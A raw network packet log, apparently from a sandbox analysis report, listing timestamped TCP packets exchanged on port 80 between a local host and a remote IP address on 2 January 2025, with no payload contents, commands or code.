Jan 2, 2025 19:14:16.891838074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.891901970 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.891969919 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.891998053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892004967 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892010927 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892015934 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892023087 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892082930 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.892082930 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.892117977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892124891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892129898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892138004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892180920 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.892190933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892196894 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892208099 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892214060 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892224073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892230988 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.892230988 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.892314911 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892322063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892334938 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892339945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892345905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.892355919 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.892355919 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.892421007 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.896178007 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896244049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896256924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896264076 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896269083 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896275043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896281004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896297932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896337032 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.896337032 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.896337032 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.896419048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896425009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896439075 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896442890 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896455050 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896461010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896466970 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.896466970 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.896542072 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.899375916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899418116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899424076 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899456024 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.899488926 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.899528027 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899540901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899553061 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899558067 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899564028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899569035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899580002 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899585009 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899595976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899602890 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.899671078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899684906 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.899723053 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899729013 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899730921 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.899748087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899753094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899764061 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899770021 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899852991 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.899852991 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.899871111 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899884939 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899890900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899895906 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.899940968 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.900115967 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.900465012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.900588036 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.900593042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.900599003 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.900604963 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.900610924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.900618076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.900624037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.900630951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.900640965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.900641918 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.900675058 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.900675058 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.900758982 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.900974035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.900979042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901043892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901082993 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.901112080 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901117086 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901123047 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901209116 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.901309013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901315928 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901321888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901331902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901344061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901350021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901362896 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901367903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901388884 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.901561022 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.901762962 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901776075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901787996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901798964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901807070 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901818037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901823997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901825905 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.901829004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.901843071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.901933908 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.902187109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.902192116 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.902268887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.902282953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.902285099 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.902287006 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.902290106 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.902381897 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.912796021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.912802935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.912810087 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.912866116 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.912877083 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.912883043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.912894011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.912921906 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.913000107 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.913006067 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.913006067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.913012981 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.913064003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.913069010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.913081884 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.913088083 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.913094044 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.913096905 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.913156986 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.913156986 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.915209055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915224075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915242910 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915271044 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.915287971 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915293932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915304899 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915463924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915494919 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915498972 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.915530920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915565014 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.915570021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915601969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915608883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915864944 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915875912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915883064 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915894032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915894985 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.915899992 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915910959 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.915949106 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.916209936 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916215897 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916222095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916228056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916239023 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916244984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916250944 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916261911 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.916261911 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916279078 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.916281939 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916287899 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916302919 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916320086 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.916388035 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.916800022 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916857004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916862965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916876078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916882038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916904926 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.916904926 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.916929960 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916944027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916945934 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.916949987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916955948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916961908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916975021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.916984081 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.917100906 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.917560101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917566061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917577028 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917582035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917587996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917593002 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917598009 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917608976 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.917609930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917634964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917640924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917646885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917651892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917653084 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.917653084 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.917659998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917670965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917680025 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.917685032 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.917706013 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918189049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918195009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918265104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918271065 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918286085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918292046 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918297052 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918303013 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918303967 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918318033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918323040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918329954 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918337107 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918364048 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918373108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918379068 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918443918 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918467045 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918540955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918546915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918553114 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918559074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918564081 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918570042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918576002 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918581009 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918586969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918586969 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918592930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918592930 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918598890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918622017 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918684006 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918690920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918698072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918704033 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918709993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918723106 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918729067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918740034 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918744087 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918752909 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918754101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918761015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918765068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918768883 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918771029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918776035 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918781996 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918787003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918792009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918797016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918802977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918803930 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918803930 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918808937 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918816090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918836117 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918854952 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918860912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918872118 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918875933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918890953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918896914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918904066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918906927 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918939114 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918939114 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.918979883 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918986082 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918992996 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.918998003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919003010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919020891 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.919049978 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.919049978 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.919158936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919164896 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919178009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919183016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919194937 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919239044 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.919322968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919358969 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.919397116 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919403076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919409037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919414043 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919420004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919449091 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.919785023 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.919950962 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.919996977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920002937 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920015097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920021057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920084000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920103073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920106888 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.920109034 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920120955 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920126915 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920130968 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920139074 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.920142889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920150042 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920155048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920161009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920166016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920166969 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.920176983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920183897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.920195103 CET	49726	80	192.168.2.6	147.45.44.131
